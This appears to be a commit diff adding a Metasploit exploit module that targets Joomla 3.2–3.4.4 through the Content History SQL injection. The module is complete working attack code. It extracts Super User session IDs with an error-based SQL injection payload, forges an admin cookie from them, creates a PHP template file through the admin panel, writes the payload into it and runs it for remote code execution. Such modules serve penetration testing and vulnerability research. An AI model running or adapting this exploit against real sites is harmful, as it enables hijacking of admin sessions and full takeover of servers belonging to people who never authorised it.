|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Joomla Content History SQLi Remote Code Execution", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a SQL injection vulnerability found in Joomla versions |
| 19 | + 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator |
| 20 | + component in the core of Joomla. Triggering the SQL injection makes it possible |
| 21 | + to retrieve active Super User sessions. The cookie can be used to login to the |
| 22 | + Joomla administrator backend. By creating a new template file containing our |
| 23 | + payload, remote code execution is made possible. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Asaf Orpani', # Vulnerability discovery |
| 29 | + 'xistence <xistence[at]0x90.nl>' # Metasploit module |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'CVE', '2015-7857' ], # Admin session hijacking |
| 34 | + [ 'CVE', '2015-7297' ], # SQLi |
| 35 | + [ 'CVE', '2015-7857' ], # SQLi |
| 36 | + [ 'CVE', '2015-7858' ], # SQLi |
| 37 | + [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ], |
| 38 | + [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ] |
| 39 | + ], |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'DisableNops' => true, |
| 43 | + # Arbitrary big number. The payload gets sent as POST data, so |
| 44 | + # really it's unlimited |
| 45 | + 'Space' => 262144, # 256k |
| 46 | + }, |
| 47 | + 'Platform' => ['php'], |
| 48 | + 'Arch' => ARCH_PHP, |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'Joomla 3.x <= 3.4.4', {} ] |
| 52 | + ], |
| 53 | + 'Privileged' => false, |
| 54 | + 'DisclosureDate' => "Oct 23 2015", |
| 55 | + 'DefaultTarget' => 0)) |
| 56 | + |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) |
| 60 | + ], self.class) |
| 61 | + |
| 62 | + end |
| 63 | + |
| 64 | + def check |
| 65 | + |
| 66 | + # Request using a non-existing table |
| 67 | + res = sqli(rand_text_alphanumeric(rand(10)+6)) |
| 68 | + |
| 69 | + if res && res.body =~ /`(.*)_ucm_history`/ |
| 70 | + return Exploit::CheckCode::Vulnerable |
| 71 | + end |
| 72 | + return Exploit::CheckCode::Safe |
| 73 | + |
| 74 | + end |
| 75 | + |
| 76 | + |
| 77 | + def sqli( tableprefix ) |
| 78 | + |
| 79 | + # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). |
| 80 | + # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. |
| 81 | + # This way we make sure that's excluded and we only get real admin sessions. |
| 82 | + |
| 83 | + sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)" |
| 84 | + |
| 85 | + # Retrieve cookies |
| 86 | + res = send_request_cgi({ |
| 87 | + 'method' => 'GET', |
| 88 | + 'uri' => normalize_uri(target_uri.path, "index.php"), |
| 89 | + 'vars_get' => { |
| 90 | + 'option' => 'com_contenthistory', |
| 91 | + 'view' => 'history', |
| 92 | + 'list[ordering]' => '', |
| 93 | + 'item_id' => '1', |
| 94 | + 'type_id' => '1', |
| 95 | + 'list[select]' => sql |
| 96 | + } |
| 97 | + }) |
| 98 | + |
| 99 | + return res |
| 100 | + |
| 101 | + end |
| 102 | + |
| 103 | + |
| 104 | + def exploit |
| 105 | + |
| 106 | + # Request using a non-existing table first, to retrieve the table prefix |
| 107 | + res = sqli(rand_text_alphanumeric(rand(10)+6)) |
| 108 | + |
| 109 | + if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/ |
| 110 | + table_prefix = $1 |
| 111 | + print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") |
| 112 | + else |
| 113 | + fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") |
| 114 | + end |
| 115 | + |
| 116 | + # Retrieve the admin session using our retrieved table prefix |
| 117 | + res = sqli("#{table_prefix}_") |
| 118 | + |
| 119 | + if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/ |
| 120 | + auth_cookie_part = $1[0...-1] |
| 121 | + print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") |
| 122 | + else |
| 123 | + fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") |
| 124 | + end |
| 125 | + |
| 126 | + # Retrieve cookies |
| 127 | + res = send_request_cgi({ |
| 128 | + 'method' => 'GET', |
| 129 | + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php") |
| 130 | + }) |
| 131 | + |
| 132 | + if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ |
| 133 | + cookie_begin = $1 |
| 134 | + print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") |
| 135 | + else |
| 136 | + fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") |
| 137 | + end |
| 138 | + |
| 139 | + # Modify cookie to authenticated admin |
| 140 | + auth_cookie = cookie_begin |
| 141 | + auth_cookie << "=" |
| 142 | + auth_cookie << auth_cookie_part |
| 143 | + auth_cookie << ";" |
| 144 | + |
| 145 | + # Authenticated session |
| 146 | + res = send_request_cgi({ |
| 147 | + 'method' => 'GET', |
| 148 | + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), |
| 149 | + 'cookie' => auth_cookie |
| 150 | + }) |
| 151 | + |
| 152 | + if res && res.code == 200 && res.body =~ /Administration - Control Panel/ |
| 153 | + print_status("#{peer} - Successfully authenticated as Administrator") |
| 154 | + else |
| 155 | + fail_with(Failure::Unknown, "#{peer} - Session failure") |
| 156 | + end |
| 157 | + |
| 158 | + |
| 159 | + # Retrieve template view |
| 160 | + res = send_request_cgi({ |
| 161 | + 'method' => 'GET', |
| 162 | + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), |
| 163 | + 'cookie' => auth_cookie, |
| 164 | + 'vars_get' => { |
| 165 | + 'option' => 'com_templates', |
| 166 | + 'view' => 'templates' |
| 167 | + } |
| 168 | + }) |
| 169 | + |
| 170 | + # We try to retrieve and store the first template found |
| 171 | + if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ |
| 172 | + template_id = $1 |
| 173 | + file_id = $2 |
| 174 | + else |
| 175 | + fail_with(Failure::Unknown, "Unable to retrieve template") |
| 176 | + end |
| 177 | + |
| 178 | + filename = rand_text_alphanumeric(rand(10)+6) |
| 179 | + |
| 180 | + # Create file |
| 181 | + print_status("#{peer} - Creating file [ #{filename}.php ]") |
| 182 | + res = send_request_cgi({ |
| 183 | + 'method' => 'POST', |
| 184 | + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), |
| 185 | + 'cookie' => auth_cookie, |
| 186 | + 'vars_get' => { |
| 187 | + 'option' => 'com_templates', |
| 188 | + 'task' => 'template.createFile', |
| 189 | + 'id' => template_id, |
| 190 | + 'file' => file_id, |
| 191 | + }, |
| 192 | + 'vars_post' => { |
| 193 | + 'type' => 'php', |
| 194 | + 'name' => filename |
| 195 | + } |
| 196 | + }) |
| 197 | + |
| 198 | + # Grab token |
| 199 | + if res && res.code == 303 && res.headers['Location'] |
| 200 | + location = res.headers['Location'] |
| 201 | + print_status("#{peer} - Following redirect to [ #{location} ]") |
| 202 | + res = send_request_cgi( |
| 203 | + 'uri' => location, |
| 204 | + 'method' => 'GET', |
| 205 | + 'cookie' => auth_cookie |
| 206 | + ) |
| 207 | + |
| 208 | + # Retrieving template token |
| 209 | + if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ |
| 210 | + token = $1 |
| 211 | + print_status("#{peer} - Token [ #{token} ] retrieved") |
| 212 | + else |
| 213 | + fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") |
| 214 | + end |
| 215 | + |
| 216 | + if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ |
| 217 | + template_path = $1 |
| 218 | + print_status("#{peer} - Template path [ #{template_path} ] retrieved") |
| 219 | + else |
| 220 | + fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") |
| 221 | + end |
| 222 | + |
| 223 | + else |
| 224 | + fail_with(Failure::Unknown, "#{peer} - Creating file failed") |
| 225 | + end |
| 226 | + |
| 227 | + filename_base64 = Rex::Text.encode_base64("/#{filename}.php") |
| 228 | + |
| 229 | + # Inject payload data into file |
| 230 | + print_status("#{peer} - Insert payload into file [ #{filename}.php ]") |
| 231 | + res = send_request_cgi({ |
| 232 | + 'method' => 'POST', |
| 233 | + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), |
| 234 | + 'cookie' => auth_cookie, |
| 235 | + 'vars_get' => { |
| 236 | + 'option' => 'com_templates', |
| 237 | + 'view' => 'template', |
| 238 | + 'id' => template_id, |
| 239 | + 'file' => filename_base64, |
| 240 | + }, |
| 241 | + 'vars_post' => { |
| 242 | + 'jform[source]' => payload.encoded, |
| 243 | + 'task' => 'template.apply', |
| 244 | + token => '1', |
| 245 | + 'jform[extension_id]' => template_id, |
| 246 | + 'jform[filename]' => "/#{filename}.php" |
| 247 | + } |
| 248 | + }) |
| 249 | + |
| 250 | + if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ |
| 251 | + print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") |
| 252 | + else |
| 253 | + fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") |
| 254 | + end |
| 255 | + |
| 256 | + # Request payload |
| 257 | + register_files_for_cleanup("#{filename}.php") |
| 258 | + print_status("#{peer} - Executing payload") |
| 259 | + res = send_request_cgi({ |
| 260 | + 'method' => 'POST', |
| 261 | + 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), |
| 262 | + 'cookie' => auth_cookie |
| 263 | + }) |
| 264 | + |
| 265 | + end |
| 266 | + |
| 267 | +end |
0 commit comments